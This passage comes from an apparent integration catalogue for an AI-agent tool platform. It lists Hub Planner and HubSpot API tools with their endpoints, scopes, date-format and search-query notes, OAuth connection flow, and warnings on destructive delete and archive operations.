/api/v1/hubplanner/milestone/{id}. Scopes: api. hubplanner_get_project (read) — Get All Projects via GET /project GET /api/v1/hubplanner/project. Scopes: api. hubplanner_get_project_by_id (read) — Get Project via GET /project/{id} GET /api/v1/hubplanner/project/{id}. Scopes: api. hubplanner_get_project_by_id_client (read) — Get Project Clients via GET /project/{id}/client GET /api/v1/hubplanner/project/{id}/client. Scopes: api. hubplanner_get_project_by_id_tag (read) — Get Project Tags via GET /project/{id}/tag GET /api/v1/hubplanner/project/{id}/tag. Scopes: api. hubplanner_get_project_customfield_template (read) — Get Project Custom Field Templates via GET /project/customField/template GET /api/v1/hubplanner/project/customField/template. Scopes: api. hubplanner_get_project_customfield_template_by_id (read) — Get Project Custom Field Template via GET /project/customField/template/{id} GET /api/v1/hubplanner/project/customField/template/{id}. Scopes: api. hubplanner_get_project_manager (read) — Get All Project Managers via GET /project-manager GET /api/v1/hubplanner/project-manager. Scopes: api. hubplanner_get_project_tag (read) — Get All Project Tags via GET /project-tag GET /api/v1/hubplanner/project-tag. Scopes: api. hubplanner_get_projectgroup (read) — Get All Project Groups via GET /projectgroup GET /api/v1/hubplanner/projectgroup. Scopes: api. hubplanner_get_projectgroup_by_id (read) — Get Project Group via GET /projectgroup/{id} GET /api/v1/hubplanner/projectgroup/{id}. Scopes: api. hubplanner_get_resource (read) — Get All Resources via GET /resource GET /api/v1/hubplanner/resource. Scopes: api. hubplanner_get_resource_by_id (read) — Get Resource via GET /resource/{id} GET /api/v1/hubplanner/resource/{id}. Scopes: api. hubplanner_get_resource_by_id_tag (read) — Get Resource Tags via GET /resource/{id}/tag GET /api/v1/hubplanner/resource/{id}/tag. Scopes: api. hubplanner_get_resource_customfield_template (read) — Get Resource Custom Field Templates via GET /resource/customField/template GET /api/v1/hubplanner/resource/customField/template. Scopes: api. hubplanner_get_resource_customfield_template_by_id (read) — Get Resource Custom Field Template via GET /resource/customField/template/{id} GET /api/v1/hubplanner/resource/customField/template/{id}. Scopes: api. hubplanner_get_resource_tag (read) — Get All Resource Tags via GET /resource-tag GET /api/v1/hubplanner/resource-tag. Scopes: api. hubplanner_get_resourcegroup (read) — Get All Resource Groups via GET /resourcegroup GET /api/v1/hubplanner/resourcegroup. Scopes: api. hubplanner_get_subscription (read) — Get All Webhook Subscriptions via GET /subscription GET /api/v1/hubplanner/subscription. Scopes: api. hubplanner_get_timeentry (read) — Get All Time Entries via GET /timeentry. This endpoint is one of the two whose `limit` defaults to 20 rather than unlimited, so an omitted `limit` silently truncates the result. GET /api/v1/hubplanner/timeentry. Scopes: api. hubplanner_get_timeentry_by_id (read) — Get Time Entry via GET /timeentry/{id} GET /api/v1/hubplanner/timeentry/{id}. Scopes: api. hubplanner_get_unassigned_work (read) — Get All Unassigned Work via GET /unassigned-work GET /api/v1/hubplanner/unassigned-work. Scopes: api. hubplanner_get_unassigned_work_by_id (read) — Get Unassigned Work via GET /unassigned-work/{id} GET /api/v1/hubplanner/unassigned-work/{id}. Scopes: api. hubplanner_get_vacation (read) — Get All Vacations via GET /vacation GET /api/v1/hubplanner/vacation. Scopes: api. hubplanner_get_vacation_by_id (read) — Get Vacation via GET /vacation/{id} GET /api/v1/hubplanner/vacation/{id}. Scopes: api. hubplanner_patch_booking_by_id (write) — Patch Booking via PATCH /booking/{id}. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. PATCH /api/v1/hubplanner/booking/{id}. Scopes: api. hubplanner_patch_project (write) — Update Projects via PATCH /project. The request body is a JSON ARRAY, not an object. PATCH /api/v1/hubplanner/project. Scopes: api. hubplanner_patch_project_by_id_tag (write) — Add Project Tags via PATCH /project/{id}/tag PATCH /api/v1/hubplanner/project/{id}/tag. Scopes: api. hubplanner_patch_resource (write) — Update Resources via PATCH /resource. The request body is a JSON ARRAY, not an object. PATCH /api/v1/hubplanner/resource. Scopes: api. hubplanner_patch_resource_by_id_tag (write) — Add Resource Tags via PATCH /resource/{id}/tag PATCH /api/v1/hubplanner/resource/{id}/tag. Scopes: api. hubplanner_patch_vacation_by_id (write) — Patch Vacation via PATCH /vacation/{id}. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. PATCH /api/v1/hubplanner/vacation/{id}. Scopes: api. hubplanner_post_billingrate (write) — Create Billing Rate via POST /billingRate POST /api/v1/hubplanner/billingRate. Scopes: api. hubplanner_post_billingrate_search (read) — Search Billing Rates via POST /billingRate/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. POST /api/v1/hubplanner/billingRate/search. Scopes: api. hubplanner_post_booking (write) — Create Booking via POST /booking. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. POST /api/v1/hubplanner/booking. Scopes: api. hubplanner_post_booking_search (read) — Search Bookings via POST /booking/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. This endpoint is one of the two whose `limit` defaults to 20 rather than unlimited, so an omitted `limit` silently truncates the result. POST /api/v1/hubplanner/booking/search. Scopes: api. hubplanner_post_calendar (write) — Create Public Holiday Calendar via POST /calendar POST /api/v1/hubplanner/calendar. Scopes: api. hubplanner_post_categories (write) — Create Booking Category via POST /categories POST /api/v1/hubplanner/categories. Scopes: api. hubplanner_post_categories_search (read) — Search Booking Categories via POST /categories/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. POST /api/v1/hubplanner/categories/search. Scopes: api. hubplanner_post_category_groups (write) — Create Category Group via POST /category-groups POST /api/v1/hubplanner/category-groups. Scopes: api. hubplanner_post_category_groups_search (read) — Search Category Groups via POST /category-groups/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. POST /api/v1/hubplanner/category-groups/search. Scopes: api. hubplanner_post_client (write) — Create Client via POST /client POST /api/v1/hubplanner/client. Scopes: api. hubplanner_post_client_search (read) — Search Clients via POST /client/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. POST /api/v1/hubplanner/client/search. Scopes: api. hubplanner_post_costcategories (write) — Create Project Cost Category via POST /costCategories POST /api/v1/hubplanner/costCategories. Scopes: api. hubplanner_post_costcategories_search (read) — Search Project Cost Categories via POST /costCategories/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. POST /api/v1/hubplanner/costCategories/search. Scopes: api. hubplanner_post_customavailabilityoverride (write) — Create Custom Availability Override via POST /customAvailabilityOverride. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. POST /api/v1/hubplanner/customAvailabilityOverride. Scopes: api. hubplanner_post_event (write) — Create Event via POST /event. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. POST /api/v1/hubplanner/event. Scopes: api. hubplanner_post_event_search (read) — Search Events via POST /event/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. POST /api/v1/hubplanner/event/search. Scopes: api. hubplanner_post_holiday (write) — Create Holiday via POST /holiday. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. POST /api/v1/hubplanner/holiday. Scopes: api. hubplanner_post_holiday_search (read) — Search Holidays via POST /holiday/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. POST /api/v1/hubplanner/holiday/search. Scopes: api. hubplanner_post_milestone (write) — Create Milestone via POST /milestone. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. POST /api/v1/hubplanner/milestone. Scopes: api. hubplanner_post_milestone_search (read) — Search Milestones via POST /milestone/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. POST /api/v1/hubplanner/milestone/search. Scopes: api. hubplanner_post_project (write) — Create Project via POST /project POST /api/v1/hubplanner/project. Scopes: api. hubplanner_post_project_addresourcestoproject_by_projectid (write) — Add Resources To Project via POST /project/addResourcesToProject/{projectId} POST /api/v1/hubplanner/project/addResourcesToProject/{projectId}. Scopes: api. hubplanner_post_project_by_projectid_client (write) — Add Clients To Project via POST /project/{projectId}/client POST /api/v1/hubplanner/project/{projectId}/client. Scopes: api. hubplanner_post_project_client_by_clientid (write, destructive) — Remove Client From Projects via POST /project/client/{clientId} POST /api/v1/hubplanner/project/client/{clientId}. Scopes: api. hubplanner_post_project_customfield_template (write) — Create Project Custom Field Template via POST /project/customField/template POST /api/v1/hubplanner/project/customField/template. Scopes: api. hubplanner_post_project_customfield_template_by_id_addchoices (write) — Add Project Custom Field Choices via POST /project/customField/template/{id}/addChoices. The request body is a JSON ARRAY, not an object. POST /api/v1/hubplanner/project/customField/template/{id}/addChoices. Scopes: api. hubplanner_post_project_customfield_template_search (read) — Search Project Custom Field Templates via POST /project/customField/template/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. POST /api/v1/hubplanner/project/customField/template/search. Scopes: api. hubplanner_post_project_removeresourcefromprojects_by_resourceid (write, destructive) — Remove Resource From Projects via POST /project/removeResourceFromProjects/{resourceId} POST /api/v1/hubplanner/project/removeResourceFromProjects/{resourceId}. Scopes: api. hubplanner_post_project_search (read) — Search Projects via POST /project/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. POST /api/v1/hubplanner/project/search. Scopes: api. hubplanner_post_project_tag (write) — Create Project Tag via POST /project-tag POST /api/v1/hubplanner/project-tag. Scopes: api. hubplanner_post_projectgroup (write) — Create Project Group via POST /projectgroup POST /api/v1/hubplanner/projectgroup. Scopes: api. hubplanner_post_projectgroup_addprojectstogroup_by_groupid (write) — Add Projects To Group via POST /projectgroup/addProjectsToGroup/{groupId} POST /api/v1/hubplanner/projectgroup/addProjectsToGroup/{groupId}. Scopes: api. hubplanner_post_projectgroup_removeprojectfromgroups_by_projectid (write, destructive) — Remove Project From Groups via POST /projectgroup/removeProjectFromGroups/{projectId} POST /api/v1/hubplanner/projectgroup/removeProjectFromGroups/{projectId}. Scopes: api. hubplanner_post_resource (write) — Create Resource via POST /resource POST /api/v1/hubplanner/resource. Scopes: api. hubplanner_post_resource_customfield_template (write) — Create Resource Custom Field Template via POST /resource/customField/template POST /api/v1/hubplanner/resource/customField/template. Scopes: api. hubplanner_post_resource_customfield_template_by_id_addchoices (write) — Add Resource Custom Field Choices via POST /resource/customField/template/{id}/addChoices. The request body is a JSON ARRAY, not an object. POST /api/v1/hubplanner/resource/customField/template/{id}/addChoices. Scopes: api. hubplanner_post_resource_customfield_template_search (read) — Search Resource Custom Field Templates via POST /resource/customField/template/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. POST /api/v1/hubplanner/resource/customField/template/search. Scopes: api. hubplanner_post_resource_search (read) — Search Resources via POST /resource/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. POST /api/v1/hubplanner/resource/search. Scopes: api. hubplanner_post_resource_tag (write) — Create Resource Tag via POST /resource-tag POST /api/v1/hubplanner/resource-tag. Scopes: api. hubplanner_post_resourcegroup_addresourcestogroup_by_groupid (write) — Add Resources To Group via POST /resourcegroup/addResourcesToGroup/{groupId} POST /api/v1/hubplanner/resourcegroup/addResourcesToGroup/{groupId}. Scopes: api. hubplanner_post_resourcegroup_removeresourcefromgroups_by_resourceid (write, destructive) — Remove Resource From Groups via POST /resourcegroup/removeResourceFromGroups/{resourceId} POST /api/v1/hubplanner/resourcegroup/removeResourceFromGroups/{resourceId}. Scopes: api. hubplanner_post_subscription (write) — Create Webhook Subscription via POST /subscription POST /api/v1/hubplanner/subscription. Scopes: api. hubplanner_post_timeentry (write) — Create Time Entry via POST /timeentry. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. POST /api/v1/hubplanner/timeentry. Scopes: api. hubplanner_post_timeentry_search (read) — Search Time Entries via POST /timeentry/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. This endpoint is one of the two whose `limit` defaults to 20 rather than unlimited, so an omitted `limit` silently truncates the result. POST /api/v1/hubplanner/timeentry/search. Scopes: api. hubplanner_post_unassigned_work (write) — Create Unassigned Work via POST /unassigned-work. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. POST /api/v1/hubplanner/unassigned-work. Scopes: api. hubplanner_post_vacation (write) — Create Vacation via POST /vacation. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. POST /api/v1/hubplanner/vacation. Scopes: api. hubplanner_post_vacation_search (read) — Search Vacations via POST /vacation/search. The request body is a MongoDB-style query document, not a flat filter: {"_id": {"$in": ["5c3...", "5c4..."]}} selects by id and {"start": {"$lt": "2014-07-15"}} by comparison. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. POST /api/v1/hubplanner/vacation/search. Scopes: api. hubplanner_put_billingrate_by_id (write) — Update Billing Rate via PUT /billingRate/{id} PUT /api/v1/hubplanner/billingRate/{id}. Scopes: api. hubplanner_put_booking_by_id (write) — Update Booking via PUT /booking/{id}. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. A PUT REPLACES the booking: send the entire booking object, not a delta. Use PATCH /booking/{id} for a property-level update. PUT /api/v1/hubplanner/booking/{id}. Scopes: api. hubplanner_put_calendar_by_id (write) — Update Public Holiday Calendar via PUT /calendar/{id} PUT /api/v1/hubplanner/calendar/{id}. Scopes: api. hubplanner_put_categories_by_id (write) — Update Booking Category via PUT /categories/{id} PUT /api/v1/hubplanner/categories/{id}. Scopes: api. hubplanner_put_category_groups_by_id (write) — Update Category Group via PUT /category-groups/{id} PUT /api/v1/hubplanner/category-groups/{id}. Scopes: api. hubplanner_put_client_by_id (write) — Update Client via PUT /client/{id} PUT /api/v1/hubplanner/client/{id}. Scopes: api. hubplanner_put_costcategories_by_id (write) — Update Project Cost Category via PUT /costCategories/{id} PUT /api/v1/hubplanner/costCategories/{id}. Scopes: api. hubplanner_put_customavailabilityoverride_by_id (write) — Update Custom Availability Override via PUT /customAvailabilityOverride/{id}. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. PUT /api/v1/hubplanner/customAvailabilityOverride/{id}. Scopes: api. hubplanner_put_event_by_id (write) — Update Event via PUT /event/{id}. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. PUT /api/v1/hubplanner/event/{id}. Scopes: api. hubplanner_put_holiday_by_id (write) — Update Holiday via PUT /holiday/{id}. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. PUT /api/v1/hubplanner/holiday/{id}. Scopes: api. hubplanner_put_milestone_by_id (write) — Update Milestone via PUT /milestone/{id}. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. PUT /api/v1/hubplanner/milestone/{id}. Scopes: api. hubplanner_put_project_by_id (write) — Update Project via PUT /project/{id} PUT /api/v1/hubplanner/project/{id}. Scopes: api. hubplanner_put_project_by_projectid_project_managers (write) — Set Project Managers via PUT /project/{projectId}/project-managers. The request body is a JSON ARRAY, not an object. PUT /api/v1/hubplanner/project/{projectId}/project-managers. Scopes: api. hubplanner_put_project_customfield_template_by_id (write) — Update Project Custom Field Template via PUT /project/customField/template/{id} PUT /api/v1/hubplanner/project/customField/template/{id}. Scopes: api. hubplanner_put_project_tag_by_id (write) — Update Project Tag via PUT /project-tag/{id} PUT /api/v1/hubplanner/project-tag/{id}. Scopes: api. hubplanner_put_projectgroup_by_id (write) — Update Project Group via PUT /projectgroup/{id} PUT /api/v1/hubplanner/projectgroup/{id}. Scopes: api. hubplanner_put_resource_by_id (write) — Update Resource via PUT /resource/{id} PUT /api/v1/hubplanner/resource/{id}. Scopes: api. hubplanner_put_resource_customfield_template_by_id (write) — Update Resource Custom Field Template via PUT /resource/customField/template/{id} PUT /api/v1/hubplanner/resource/customField/template/{id}. Scopes: api. hubplanner_put_resource_tag_by_id (write) — Update Resource Tag via PUT /resource-tag/{id} PUT /api/v1/hubplanner/resource-tag/{id}. Scopes: api. hubplanner_put_resourcegroup_addapprovertogroups_by_resourceid (write) — Add Approver To Resource Groups via PUT /resourcegroup/addApproverToGroups/{resourceId} PUT /api/v1/hubplanner/resourcegroup/addApproverToGroups/{resourceId}. Scopes: api. hubplanner_put_resourcegroup_by_id (write) — Update Resource Group via PUT /resourcegroup/{id} PUT /api/v1/hubplanner/resourcegroup/{id}. Scopes: api. hubplanner_put_resourcegroup_removeapproverfromgroups_by_resourceid (write, destructive) — Remove Approver From Resource Groups via PUT /resourcegroup/removeApproverFromGroups/{resourceId} PUT /api/v1/hubplanner/resourcegroup/removeApproverFromGroups/{resourceId}. Scopes: api. hubplanner_put_timeentry_by_id (write) — Update Time Entry via PUT /timeentry/{id}. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. PUT /api/v1/hubplanner/timeentry/{id}. Scopes: api. hubplanner_put_unassigned_work_by_id (write) — Update Unassigned Work via PUT /unassigned-work/{id}. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. PUT /api/v1/hubplanner/unassigned-work/{id}. Scopes: api. hubplanner_put_vacation_by_id (write) — Update Vacation via PUT /vacation/{id}. Dates in the request body are NAIVE LOCAL strings, not ISO-8601: "2014-11-03" for an all-day entry and "2017-08-21 10:00" alongside "allDay": false. Responses come back ISO-8601; do not normalise the values you send. PUT /api/v1/hubplanner/vacation/{id}. Scopes: api. ================================================================================ ## HubSpot URL: https://www.agenticfabriq.com/integrations/hubspot Section: Integrated Tools HubSpot — 601 MCP tools Provider key: hubspot. Scopes: account-info.security.read, business_units_view.read, communication_preferences.read, communication_preferences.read_write, communication_preferences.statuses.batch.read, communication_preferences.statuses.batch.write, conversations.read, conversations.write, crm.dealsplits.read_write, crm.export, crm.extensions_calling_transcripts.read, crm.extensions_calling_transcripts.write, crm.import, crm.lists.read, crm.lists.write, crm.objects.carts.read, crm.objects.carts.write, crm.objects.commercepayments.read, crm.objects.commercepayments.write, crm.objects.companies.read, crm.objects.companies.write, crm.objects.contacts.read, crm.objects.contacts.write, crm.objects.courses.read, crm.objects.courses.write, crm.objects.custom.read, crm.objects.custom.write, crm.objects.deals.read, crm.objects.deals.write, crm.objects.goals.read, crm.objects.goals.write, crm.objects.invoices.read, crm.objects.invoices.write, crm.objects.leads.read, crm.objects.leads.write, crm.objects.line_items.read, crm.objects.line_items.write, crm.objects.listings.read, crm.objects.listings.write, crm.objects.marketing_events.read, crm.objects.marketing_events.write, crm.objects.orders.read, crm.objects.orders.write, crm.objects.owners.read, crm.objects.products.read, crm.objects.products.write, crm.objects.projects.read, crm.objects.projects.write, crm.objects.quotes.read, crm.objects.quotes.write, crm.objects.services.read, crm.objects.services.write, crm.objects.subscriptions.read, crm.objects.users.read, crm.objects.users.write, crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.read, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, files, files.ui_hidden.write, forms, marketing-email, marketing.campaigns.read, marketing.campaigns.revenue.full.read, marketing.campaigns.write, marketing.email.read, marketing.email.write, meetings-write, oauth, scheduler.meetings.meeting-link.read, tickets, timeline, timeline.write. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. hubspot_delete_conversations_conversations_v3_threads_by_threadid_assignee (write, destructive) — DESTRUCTIVE. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls DELETE /conversations/conversations/v3/threads/{threadId}/assignee on api.hubapi.com. Requires the HubSpot scope conversations.write. DELETE /api/v1/hubspot/conversations/conversations/v3/threads/{threadId}/assignee. Scopes: conversations.write. hubspot_delete_conversations_v3_conversations_threads_by_threadid (write, destructive) — DESTRUCTIVE. Archives a thread. Archives a single thread. The thread will be permanently deleted 30 days after placed in an archived state. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls DELETE /conversations/v3/conversations/threads/{threadId} on api.hubapi.com. Requires the HubSpot scope conversations.write. DELETE /api/v1/hubspot/conversations/v3/conversations/threads/{threadId}. Scopes: conversations.write. hubspot_delete_crm_associations_v4_by_fromobjecttype_by_toobjecttype_labels_by_associationtypeid (write, destructive) — DESTRUCTIVE. Delete association label. Remove a specific label from the association between two CRM object types. Association LABELS and definitions: the vocabulary of association types the portal allows, and which pairs of object types may be associated at all. Calls DELETE /crm/associations/v4/{fromObjectType}/{toObjectType}/labels/{associationTypeId} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. DELETE /api/v1/hubspot/crm/associations/v4/{fromObjectType}/{toObjectType}/labels/{associationTypeId}. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_delete_crm_object_schemas_v3_schemas_by_objecttype (write, destructive) — DESTRUCTIVE. Delete the schema of a specified custom object. Remove a custom object schema from the account using its object type ID or fully qualified name. Custom OBJECT TYPE definitions - the schema of a customer-defined object, not its records. This is what names the objectTypeId the generic object operations take. Calls DELETE /crm-object-schemas/v3/schemas/{objectType} on api.hubapi.com. Requires the HubSpot scope crm.schemas.custom.write. DELETE /api/v1/hubspot/crm-object-schemas/v3/schemas/{objectType}. Scopes: crm.schemas.custom.write. hubspot_delete_crm_object_schemas_v3_schemas_by_objecttype_associations_by_associationidentifier (write, destructive) — DESTRUCTIVE. Delete an existing association for a specified object type. Remove an association between two object types identified by the association identifier and object type. This operation is irreversible and will permanently delete the specified association. Custom OBJECT TYPE definitions - the schema of a customer-defined object, not its records. This is what names the objectTypeId the generic object operations take. Calls DELETE /crm-object-schemas/v3/schemas/{objectType}/associations/{associationIdentifier} on api.hubapi.com. Requires the HubSpot scope crm.schemas.custom.write. DELETE /api/v1/hubspot/crm-object-schemas/v3/schemas/{objectType}/associations/{associationIdentifier}. Scopes: crm.schemas.custom.write. hubspot_delete_crm_objects_2026_03_by_objecttype_by_objectid_associations_by_toobjecttype_by_toobjectid (write, destructive) — DESTRUCTIVE. Recurring Commerce Hub subscriptions. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/objects/2026-03/{objectType}/{objectId}/associations/{toObjectType}/{toObjectId} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. DELETE /api/v1/hubspot/crm/objects/2026-03/{objectType}/{objectId}/associations/{toObjectType}/{toObjectId}. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_delete_crm_objects_2026_03_subscriptions_by_subscriptionid (write, destructive) — DESTRUCTIVE. Delete a subscription. Delete a specific subscription by its ID. Recurring Commerce Hub subscriptions. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/objects/2026-03/subscriptions/{subscriptionId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. DELETE /api/v1/hubspot/crm/objects/2026-03/subscriptions/{subscriptionId}. Scopes: crm.objects.contacts.write. hubspot_delete_crm_objects_v3_projects_by_projectid (write, destructive) — DESTRUCTIVE. Archive. Move an Object identified by `{projectId}` to the recycling bin. Projects are the Service Hub project object. HubSpot's delete on a CRM object is an ARCHIVE: the record leaves every view and every list, and a HubSpot admin can restore it from the portal's recycle bin for 90 days. After 90 days it is gone. HubSpot publishes no un-archive endpoint, so the restore is a HubSpot UI action, not an Agentic Fabriq one. Calls DELETE /crm/objects/v3/projects/{projectId} on api.hubapi.com. Requires the HubSpot scope crm.objects.projects.write. DELETE /api/v1/hubspot/crm/objects/v3/projects/{projectId}. Scopes: crm.objects.projects.write. hubspot_delete_crm_v3_extensions_calling_transcripts_by_transcriptid (write, destructive) — DESTRUCTIVE. Call transcription records and their text. Calls DELETE /crm/v3/extensions/calling/transcripts/{transcriptId} on api.hubapi.com. Requires the HubSpot scope crm.extensions_calling_transcripts.write. DELETE /api/v1/hubspot/crm/v3/extensions/calling/transcripts/{transcriptId}. Scopes: crm.extensions_calling_transcripts.write. hubspot_delete_crm_v3_lists_by_listid (write, destructive) — DESTRUCTIVE. Delete a List. Delete a list by **ILS list ID**. Lists deleted through this endpoint can be restored up to 90-days following the delete. After 90-days, the list is purged and can no longer be restored. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls DELETE /crm/v3/lists/{listId} on api.hubapi.com. Requires the HubSpot scopes crm.lists.read, crm.lists.write. DELETE /api/v1/hubspot/crm/v3/lists/{listId}. Scopes: crm.lists.read, crm.lists.write. hubspot_delete_crm_v3_lists_by_listid_memberships (write, destructive) — DESTRUCTIVE. Delete All Records from a List. Remove **all** of the records from a list. ***Note:*** *The list is not deleted.* This endpoint only works for lists that have a `processingType` of `MANUAL` or `SNAPSHOT`. This endpoint only supports lists that have less than 100,000 memberships. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. 